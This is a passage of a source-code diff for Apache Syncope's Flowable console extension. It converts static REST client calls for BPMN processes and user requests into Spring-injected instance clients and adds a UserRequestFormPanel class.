id, final boolean wizardInModal) { - return new BpmnProcessDirectoryPanel(id, this); - } - } - - protected static class BpmProcessDataProvider extends DirectoryDataProvider { + protected class BpmProcessDataProvider extends DirectoryDataProvider { private static final long serialVersionUID = 1764153405387687592L; @@ -305,14 +290,14 @@ public BpmProcessDataProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { - List result = BpmnProcessRestClient.getDefinitions(); + List result = restClient.getDefinitions(); result.sort(comparator); return result.subList((int) first, (int) first + (int) count).iterator(); } @Override public long size() { - return BpmnProcessRestClient.getDefinitions().size(); + return restClient.getDefinitions().size(); } @Override @@ -320,4 +305,19 @@ public IModel model(final BpmnProcess object) { return new CompoundPropertyModel<>(object); } } + + public abstract static class Builder + extends DirectoryPanel.Builder { + + private static final long serialVersionUID = 5088962796986706805L; + + public Builder(final BpmnProcessRestClient restClient, final PageReference pageRef) { + super(restClient, pageRef); + } + + @Override + protected WizardMgtPanel newInstance(final String id, final boolean wizardInModal) { + return new BpmnProcessDirectoryPanel(id, this); + } + } } diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/NewBpmnProcess.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/NewBpmnProcess.java index 176a17532f4..ebc4f456c90 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/NewBpmnProcess.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/NewBpmnProcess.java @@ -33,11 +33,15 @@ import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.form.TextField; import org.apache.wicket.model.Model; +import org.apache.wicket.spring.injection.annot.SpringBean; public class NewBpmnProcess extends TogglePanel { private static final long serialVersionUID = -4886361549305302161L; + @SpringBean + protected BpmnProcessRestClient bpmnProcessRestClient; + public NewBpmnProcess(final String id, final WebMarkupContainer container, final PageReference pageRef) { super(id, pageRef); @@ -55,7 +59,7 @@ public NewBpmnProcess(final String id, final WebMarkupContainer container, final @Override protected void onSubmit(final AjaxRequestTarget target) { try { - BpmnProcessRestClient.setDefinition(MediaType.APPLICATION_XML_TYPE, key.getModelObject(), + bpmnProcessRestClient.setDefinition(MediaType.APPLICATION_XML_TYPE, key.getModelObject(), IOUtils.toString( NewBpmnProcess.class.getResourceAsStream("empty.bpmn20.xml"), StandardCharsets.UTF_8).replaceAll("%KEY%", key.getModelObject())); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestDirectoryPanel.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestDirectoryPanel.java index ac0492df9f1..8e6bc4aee0e 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestDirectoryPanel.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestDirectoryPanel.java @@ -25,6 +25,7 @@ import java.util.Map; import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.client.console.batch.BatchModal; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.UserRequestDirectoryPanel.UserRequestProvider; import org.apache.syncope.client.console.panels.UserRequestsPanel.UserRequestSearchEvent; @@ -32,10 +33,9 @@ import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.DatePropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; -import org.apache.syncope.client.console.wicket.markup.html.form.ConfirmBehavior; import org.apache.syncope.client.lib.batch.BatchRequest; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; +import org.apache.syncope.client.ui.commons.markup.html.form.ConfirmBehavior; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.UserRequest; import org.apache.syncope.common.lib.types.FlowableEntitlement; @@ -62,8 +62,12 @@ public class UserRequestDirectoryPanel private String keyword; - public UserRequestDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef, true); + public UserRequestDirectoryPanel( + final String id, + final UserRequestRestClient restClient, + final PageReference pageRef) { + + super(id, restClient, pageRef, true); setFooterVisibility(false); initResultTable(); @@ -80,7 +84,7 @@ public void onSubmit(final AjaxRequestTarget target) { UserRequestService service = batch.getService(UserRequestService.class); items.forEach(item -> service.cancelRequest(item.getExecutionId(), null)); - Map results = UserRequestRestClient.batch(batch); + Map results = restClient.batch(batch); resultTable.batchModal.header(new ResourceModel("batch")); resultTable.batchModal.changeCloseButtonLabel(getString("cancel", null, "Cancel"), target); @@ -131,7 +135,7 @@ public ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final UserRequest ignore) { try { - UserRequestRestClient.cancelRequest(model.getObject().getExecutionId(), null); + restClient.cancelRequest(model.getObject().getExecutionId(), null); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); UserRequestDirectoryPanel.this.getTogglePanel().close(target); @@ -186,13 +190,13 @@ public UserRequestProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { int page = ((int) first / paginatorRows); - return UserRequestRestClient.listRequests( + return restClient.listRequests( keyword, (page < 0 ? 0 : page) + 1, paginatorRows, getSort()).iterator(); } @Override public long size() { - return UserRequestRestClient.countRequests(keyword); + return restClient.countRequests(keyword); } @Override diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDetails.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDetails.java index 5773b78f220..d406aec5404 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDetails.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDetails.java @@ -20,6 +20,7 @@ import org.apache.syncope.client.console.layout.UserFormLayoutInfo; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wizards.any.UserWizardBuilder; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.AnyOperations; @@ -27,11 +28,18 @@ import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.wicket.PageReference; +import org.apache.wicket.spring.injection.annot.SpringBean; public class UserRequestFormDetails extends MultilevelPanel.SecondLevel { private static final long serialVersionUID = -8847854414429745216L; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected UserRestClient userRestClient; + public UserRequestFormDetails(final PageReference pageRef, final UserRequestForm formTO) { super(MultilevelPanel.SECOND_LEVEL_ID); @@ -54,8 +62,9 @@ public UserRequestFormDetails(final PageReference pageRef, final UserRequestForm add(new UserWizardBuilder( previousUserTO, newUserTO, - AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), + anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), new UserFormLayoutInfo(), + userRestClient, pageRef). build(AjaxWizard.Mode.READONLY)); } diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDirectoryPanel.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDirectoryPanel.java index fcfcf3dfdfb..1bcc71b226e 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDirectoryPanel.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormDirectoryPanel.java @@ -26,12 +26,15 @@ import java.util.List; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.layout.AnyLayoutUtils; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.UserRequestFormDirectoryPanel.UserRequestFormProvider; import org.apache.syncope.client.console.panels.UserRequestsPanel.UserRequestSearchEvent; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.RoleRestClient; import org.apache.syncope.client.console.rest.UserRequestRestClient; +import org.apache.syncope.client.console.rest.UserRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.DatePropertyColumn; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; @@ -39,7 +42,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.widgets.UserRequestFormsWidget; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.SyncopeClientException; @@ -59,15 +61,25 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class UserRequestFormDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = -7122136682275797903L; - private static final String PREF_USER_REQUEST_FORM_PAGINATOR_ROWS = "userrequestform.paginator.rows"; + protected static final String PREF_USER_REQUEST_FORM_PAGINATOR_ROWS = "userrequestform.paginator.rows"; - private final BaseModal manageFormModal = new BaseModal<>("outer") { + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected RoleRestClient roleRestClient; + + @SpringBean + protected UserRestClient userRestClient; + + protected final BaseModal manageFormModal = new BaseModal<>("outer") { private static final long serialVersionUID = 389935548143327858L; @@ -79,10 +91,14 @@ protected void onConfigure() { } }; - private String keyword; + protected String keyword; + + public UserRequestFormDirectoryPanel( + final String id, + final UserRequestRestClient restClient, + final PageReference pageRef) { - public UserRequestFormDirectoryPanel(final String id, final PageReference pageRef) { - super(id, pageRef, true); + super(id, restClient, pageRef, true); disableCheckBoxes(); setFooterVisibility(false); modal.size(Modal.Size.Large); @@ -97,11 +113,13 @@ public UserRequestFormDirectoryPanel(final String id, final PageReference pageRe ((UserRequestFormsWidget) widget).refreshLatestAlerts(target); } + if (actionTogglePanel.isVisibleInHierarchy()) { + actionTogglePanel.toggle(target, false); + } + manageFormModal.show(false); }); - restClient = new UserRequestRestClient(); - initResultTable(); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, FlowableEntitlement.USER_REQUEST_FORM_SUBMIT); @@ -137,7 +155,7 @@ protected ActionLinksTogglePanel actionTogglePanel() { public void updateHeader(final AjaxRequestTarget target, final Serializable object) { if (object instanceof UserRequestForm) { setHeader(target, StringUtils.abbreviate( - ((UserRequestForm) object).getUsername(), HEADER_FIRST_ABBREVIATION)); + ((UserRequestForm) object).getUsername(), HEADER_FIRST_ABBREVIATION)); } else { super.updateHeader(target, object); } @@ -156,7 +174,7 @@ public ActionsPanel getActions(final IModel mo @Override public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore) { try { - UserRequestRestClient.claimForm(model.getObject().getTaskId()); + restClient.claimForm(model.getObject().getTaskId()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); target.add(container); } catch (Exception e) { @@ -174,7 +192,7 @@ public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore @Override public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore) { try { - UserRequestRestClient.unclaimForm(model.getObject().getTaskId()); + restClient.unclaimForm(model.getObject().getTaskId()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); UserRequestFormDirectoryPanel.this.getTogglePanel().close(target); target.add(container); @@ -187,7 +205,7 @@ public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore @Override protected boolean statusCondition(final UserRequestForm modelObject) { return SyncopeConsoleSession.get().getSelfTO().getUsername(). - equals(model.getObject().getAssignee()); + equals(model.getObject().getAssignee()); } }, ActionLink.ActionType.UNCLAIM, FlowableEntitlement.USER_REQUEST_FORM_UNCLAIM); @@ -200,8 +218,8 @@ protected boolean statusCondition(final UserRequestForm modelObject) { public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore) { manageFormModal.setFormModel(new CompoundPropertyModel<>(model.getObject())); - target.add(manageFormModal.setContent(new UserRequestFormModal(manageFormModal, pageRef, model. - getObject()) { + target.add(manageFormModal.setContent( + new UserRequestFormModal(manageFormModal, pageRef, model.getObject()) { private static final long serialVersionUID = 5546519445061007248L; @@ -225,7 +243,7 @@ public void onSubmit(final AjaxRequestTarget target) { @Override protected boolean statusCondition(final UserRequestForm modelObject) { return SyncopeConsoleSession.get().getSelfTO().getUsername(). - equals(model.getObject().getAssignee()); + equals(model.getObject().getAssignee()); } }, ActionLink.ActionType.MANAGE_APPROVAL, FlowableEntitlement.USER_REQUEST_FORM_SUBMIT); @@ -259,13 +277,13 @@ public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore } AjaxWizard.EditItemActionEvent editItemActionEvent = - new AjaxWizard.EditItemActionEvent<>(newUserTO, target); - editItemActionEvent.forceModalPanel(AnyLayoutUtils.newLayoutInfo( - newUserTO, - AnyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), - AnyLayoutUtils.fetch(List.of(AnyTypeKind.USER.name())).getUser(), - pageRef). - build(BaseModal.CONTENT_ID, 0, AjaxWizard.Mode.EDIT_APPROVAL)); + new AjaxWizard.EditItemActionEvent<>(newUserTO, target); + editItemActionEvent.forceModalPanel(AnyLayoutUtils.newLayoutInfo(newUserTO, + anyTypeRestClient.read(AnyTypeKind.USER.name()).getClasses(), + AnyLayoutUtils.fetch(roleRestClient, List.of(AnyTypeKind.USER.name())).getUser(), + userRestClient, + pageRef). + build(BaseModal.CONTENT_ID, 0, AjaxWizard.Mode.EDIT_APPROVAL)); send(UserRequestFormDirectoryPanel.this, Broadcast.EXACT, editItemActionEvent); } @@ -273,7 +291,7 @@ public void onClick(final AjaxRequestTarget target, final UserRequestForm ignore @Override protected boolean statusCondition(final UserRequestForm modelObject) { return SyncopeConsoleSession.get().getSelfTO().getUsername(). - equals(model.getObject().getAssignee()); + equals(model.getObject().getAssignee()); } }, ActionLink.ActionType.EDIT_APPROVAL, FlowableEntitlement.USER_REQUEST_FORM_SUBMIT); @@ -321,13 +339,13 @@ public UserRequestFormProvider(final int paginatorRows) { @Override public Iterator iterator(final long first, final long count) { int page = ((int) first / paginatorRows); - return UserRequestRestClient.listForms( + return restClient.listForms( keyword, (page < 0 ? 0 : page) + 1, paginatorRows, getSort()).iterator(); } @Override public long size() { - return UserRequestRestClient.countForms(keyword); + return restClient.countForms(keyword); } @Override diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormModal.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormModal.java index 8ed2c86d8ec..177fdf1380f 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormModal.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormModal.java @@ -26,20 +26,23 @@ import org.apache.syncope.client.ui.commons.panels.SubmitableModalPanel; import org.apache.syncope.client.ui.commons.panels.WizardModalPanel; import org.apache.syncope.common.lib.to.UserRequestForm; -import org.apache.syncope.ext.client.common.ui.panels.UserRequestFormPanel; import org.apache.wicket.PageReference; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class UserRequestFormModal extends Panel implements SubmitableModalPanel, WizardModalPanel { private static final long serialVersionUID = -8847854414429745216L; - private final BaseModal modal; + @SpringBean + protected UserRequestRestClient userRequestRestClient; - private final UserRequestForm formTO; + protected final BaseModal modal; - private final PageReference pageRef; + protected final UserRequestForm formTO; + + protected final PageReference pageRef; public UserRequestFormModal(final BaseModal modal, final PageReference pageRef, final UserRequestForm formTO) { super(BaseModal.CONTENT_ID); @@ -62,7 +65,7 @@ protected void viewDetails(final AjaxRequestTarget target) { @Override public void onSubmit(final AjaxRequestTarget target) { - UserRequestRestClient.submitForm(formTO); + userRequestRestClient.submitForm(formTO); this.modal.show(false); this.modal.close(target); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormPanel.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormPanel.java new file mode 100644 index 00000000000..e2e80e488a9 --- /dev/null +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/panels/UserRequestFormPanel.java @@ -0,0 +1,51 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels; + +import org.apache.syncope.client.ui.commons.panels.SyncopeFormPanel; +import org.apache.syncope.common.lib.to.UserRequestForm; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.ajax.markup.html.AjaxLink; +import org.apache.wicket.authroles.authorization.strategies.role.metadata.MetaDataRoleAuthorizationStrategy; + +public abstract class UserRequestFormPanel extends SyncopeFormPanel { + + private static final long serialVersionUID = 6064351260702815499L; + + public UserRequestFormPanel(final String id, final UserRequestForm form) { + super(id, form); + + AjaxLink userDetails = new AjaxLink<>("userDetails") { + + private static final long serialVersionUID = -4804368561204623354L; + + @Override + public void onClick(final AjaxRequestTarget target) { + viewDetails(target); + } + }; + MetaDataRoleAuthorizationStrategy.authorize(userDetails, ENABLE, IdRepoEntitlement.USER_READ); + + boolean enabled = form.getUserTO() != null; + add(userDetails.setVisible(enabled).setEnabled(enabled)); + } + + protected abstract void viewDetails(AjaxRequestTarget target); +} diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/AbstractBpmnProcessResource.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/AbstractBpmnProcessResource.java index e8ca70af0fa..21e0fec24b4 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/AbstractBpmnProcessResource.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/AbstractBpmnProcessResource.java @@ -33,12 +33,18 @@ abstract class AbstractBpmnProcessResource extends AbstractResource { protected static final Logger LOG = LoggerFactory.getLogger(AbstractBpmnProcessResource.class); + protected final BpmnProcessRestClient bpmnProcessRestClient; + + protected AbstractBpmnProcessResource(final BpmnProcessRestClient bpmnProcessRestClient) { + this.bpmnProcessRestClient = bpmnProcessRestClient; + } + protected BpmnProcess getBpmnProcess(final Attributes attributes) { StringValue modelId = attributes.getRequest().getQueryParameters().getParameterValue(Constants.MODEL_ID_PARAM); BpmnProcess bpmnProcess = modelId == null || modelId.isNull() ? null - : BpmnProcessRestClient.getDefinitions().stream(). + : bpmnProcessRestClient.getDefinitions().stream(). filter(object -> modelId.toString().equals(object.getModelId())).findAny().orElse(null); if (bpmnProcess == null) { throw new NotFoundException("BPMN process with modelId " + modelId); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessGETResource.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessGETResource.java index 6272a554c3f..ebcb63374c0 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessGETResource.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessGETResource.java @@ -33,6 +33,10 @@ public class BpmnProcessGETResource extends AbstractBpmnProcessResource { private static final long serialVersionUID = 4637304868056148970L; + public BpmnProcessGETResource(final BpmnProcessRestClient bpmnProcessRestClient) { + super(bpmnProcessRestClient); + } + @Override protected ResourceResponse newResourceResponse(final Attributes attributes) { final BpmnProcess toGet = getBpmnProcess(attributes); @@ -47,7 +51,7 @@ protected ResourceResponse newResourceResponse(final Attributes attributes) { public void writeData(final Attributes attributes) throws IOException { writeStream( attributes, - BpmnProcessRestClient.getDefinition(MediaType.APPLICATION_JSON_TYPE, toGet.getKey())); + bpmnProcessRestClient.getDefinition(MediaType.APPLICATION_JSON_TYPE, toGet.getKey())); } }); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessPUTResource.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessPUTResource.java index ebdaf8c8f98..1190db80aa2 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessPUTResource.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/resources/BpmnProcessPUTResource.java @@ -36,6 +36,10 @@ public class BpmnProcessPUTResource extends AbstractBpmnProcessResource { private static final long serialVersionUID = 2964542005207297944L; + public BpmnProcessPUTResource(final BpmnProcessRestClient bpmnProcessRestClient) { + super(bpmnProcessRestClient); + } + @Override protected ResourceResponse newResourceResponse(final Attributes attributes) { String definition = null; @@ -62,7 +66,7 @@ protected ResourceResponse newResourceResponse(final Attributes attributes) { } try { - BpmnProcessRestClient.setDefinition(MediaType.APPLICATION_JSON_TYPE, toSet.getKey(), definition); + bpmnProcessRestClient.setDefinition(MediaType.APPLICATION_JSON_TYPE, toSet.getKey(), definition); return new ResourceResponse().setStatusCode(Response.Status.NO_CONTENT.getStatusCode()); } catch (Exception e) { LOG.error("While updating BPMN process", e); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/BpmnProcessRestClient.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/BpmnProcessRestClient.java index 49241634589..3d2610b0821 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/BpmnProcessRestClient.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/BpmnProcessRestClient.java @@ -26,7 +26,6 @@ import org.apache.cxf.helpers.IOUtils; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.cxf.jaxrs.impl.MetadataMap; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.common.lib.to.BpmnProcess; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.service.BpmnProcessService; @@ -35,11 +34,11 @@ public class BpmnProcessRestClient extends BaseRestClient { private static final long serialVersionUID = 5049285686167071017L; - public static List getDefinitions() { + public List getDefinitions() { return getService(BpmnProcessService.class).list(); } - private static BpmnProcessService getService(final MediaType mediaType) { + private BpmnProcessService getService(final MediaType mediaType) { BpmnProcessService service = getService(BpmnProcessService.class); MetadataMap headers = new MetadataMap<>(); @@ -50,19 +49,19 @@ private static BpmnProcessService getService(final MediaType mediaType) { return service; } - public static InputStream getDefinition(final MediaType mediaType, final String key) { + public InputStream getDefinition(final MediaType mediaType, final String key) { Response response = getService(mediaType).get(key); - SyncopeConsoleSession.get().resetClient(BpmnProcessService.class); + resetClient(BpmnProcessService.class); return (InputStream) response.getEntity(); } - public static void setDefinition(final MediaType mediaType, final String key, final String definition) { + public void setDefinition(final MediaType mediaType, final String key, final String definition) { getService(mediaType).set(key, definition); - SyncopeConsoleSession.get().resetClient(BpmnProcessService.class); + resetClient(BpmnProcessService.class); } - public static byte[] getDiagram(final String key) { + public byte[] getDiagram(final String key) { BpmnProcessService service = getService(BpmnProcessService.class); WebClient.client(service).accept(RESTHeaders.MEDIATYPE_IMAGE_PNG); Response response = service.exportDiagram(key); @@ -77,7 +76,7 @@ public static byte[] getDiagram(final String key) { return diagram; } - public static void deleteDefinition(final String key) { + public void deleteDefinition(final String key) { getService(BpmnProcessService.class).delete(key); } } diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserRequestRestClient.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserRequestRestClient.java index 13d753d9487..8c3ad0666b0 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserRequestRestClient.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserRequestRestClient.java @@ -40,7 +40,7 @@ public class UserRequestRestClient extends BaseRestClient { private static final long serialVersionUID = -4785231164900813921L; - public static int countRequests(final String keyword) { + public int countRequests(final String keyword) { try { return getService(UserRequestService.class). listRequests(new UserRequestQuery.Builder().user(keyword).page(1).size(0).build()). @@ -50,7 +50,7 @@ public static int countRequests(final String keyword) { } } - public static List listRequests( + public List listRequests( final String keyword, final int page, final int size, final SortParam sort) { try { @@ -63,11 +63,11 @@ public static List listRequests( } } - public static void cancelRequest(final String executionId, final String reason) { + public void cancelRequest(final String executionId, final String reason) { getService(UserRequestService.class).cancelRequest(executionId, reason); } - public static int countForms(final String keyword) { + public int countForms(final String keyword) { try { return getService(UserRequestService.class). listForms(new UserRequestQuery.Builder().user(keyword).page(1).size(0).build()). @@ -77,7 +77,7 @@ public static int countForms(final String keyword) { } } - public static List listForms( + public List listForms( final String keyword, final int page, final int size, final SortParam sort) { try { @@ -90,7 +90,7 @@ public static List listForms( } } - public static Optional getForm(final String userKey) { + public Optional getForm(final String userKey) { PagedResult forms = getService(UserRequestService.class). listForms(new UserRequestQuery.Builder().user(userKey).page(1).size(1).build()); UserRequestForm form = forms.getResult().isEmpty() @@ -99,19 +99,19 @@ public static Optional getForm(final String userKey) { return Optional.ofNullable(form); } - public static UserRequestForm claimForm(final String taskKey) { + public UserRequestForm claimForm(final String taskKey) { return getService(UserRequestService.class).claimForm(taskKey); } - public static UserRequestForm unclaimForm(final String taskKey) { + public UserRequestForm unclaimForm(final String taskKey) { return getService(UserRequestService.class).unclaimForm(taskKey); } - public static void submitForm(final UserRequestForm form) { + public void submitForm(final UserRequestForm form) { getService(UserRequestService.class).submitForm(form); } - public static Map batch(final BatchRequest batchRequest) { + public Map batch(final BatchRequest batchRequest) { List batchRequestItems = new ArrayList<>(batchRequest.getItems()); Map result = new LinkedHashMap<>(); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserWorkflowTaskRestClient.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserWorkflowTaskRestClient.java index 46c097329a4..68d5856989f 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserWorkflowTaskRestClient.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/rest/UserWorkflowTaskRestClient.java @@ -26,7 +26,7 @@ public class UserWorkflowTaskRestClient extends BaseRestClient { private static final long serialVersionUID = 5765024947677482995L; - public static UserTO executeNextTask(final UserTO userTO) { + public UserTO executeNextTask(final UserTO userTO) { WorkflowTaskExecInput input = new WorkflowTaskExecInput(); input.setUserKey(userTO.getKey()); return getService(UserWorkflowTaskService.class).executeNextTask(input); diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/widgets/UserRequestFormsWidget.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/widgets/UserRequestFormsWidget.java index 7dc0a283b45..7ef40cc84db 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/widgets/UserRequestFormsWidget.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/widgets/UserRequestFormsWidget.java @@ -42,13 +42,17 @@ import org.apache.wicket.markup.html.link.BookmarkablePageLink; import org.apache.wicket.model.IModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtWidget(priority = 10) public class UserRequestFormsWidget extends ExtAlertWidget { private static final long serialVersionUID = 7667120094526529934L; - private final List lastForms = new ArrayList<>(); + @SpringBean + protected UserRequestRestClient userRequestRestClient; + + protected final List lastForms = new ArrayList<>(); public UserRequestFormsWidget(final String id, final PageReference pageRef) { super(id, pageRef); @@ -87,7 +91,7 @@ public final void refreshLatestAlerts(final AjaxRequestTarget target) { @Override protected int getLatestAlertsSize() { return SyncopeConsoleSession.get().owns(FlowableEntitlement.USER_REQUEST_FORM_LIST) - ? UserRequestRestClient.countForms(null) + ? userRequestRestClient.countForms(null) : 0; } @@ -101,8 +105,8 @@ protected IModel> getLatestAlerts() { public List getObject() { List updatedForms; if (SyncopeConsoleSession.get().owns(FlowableEntitlement.USER_REQUEST_FORM_LIST)) { - updatedForms = UserRequestRestClient.listForms( - null, 1, MAX_SIZE, new SortParam<>("createTime", true)); + updatedForms = userRequestRestClient.listForms( + null, 1, MAX_SIZE, new SortParam<>("createTime", true)); } else { updatedForms = Collections.emptyList(); } diff --git a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/wizards/any/UserRequestFormFinalizer.java b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/wizards/any/UserRequestFormFinalizer.java index 41ceb092cb5..2d3f52d13df 100644 --- a/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/wizards/any/UserRequestFormFinalizer.java +++ b/ext/flowable/client-console/src/main/java/org/apache/syncope/client/console/wizards/any/UserRequestFormFinalizer.java @@ -27,11 +27,17 @@ @UserFormFinalize(mode = AjaxWizard.Mode.EDIT_APPROVAL) public class UserRequestFormFinalizer implements UserFormFinalizer { + protected final UserRequestRestClient userRequestRestClient; + + public UserRequestFormFinalizer(final UserRequestRestClient userRequestRestClient) { + this.userRequestRestClient = 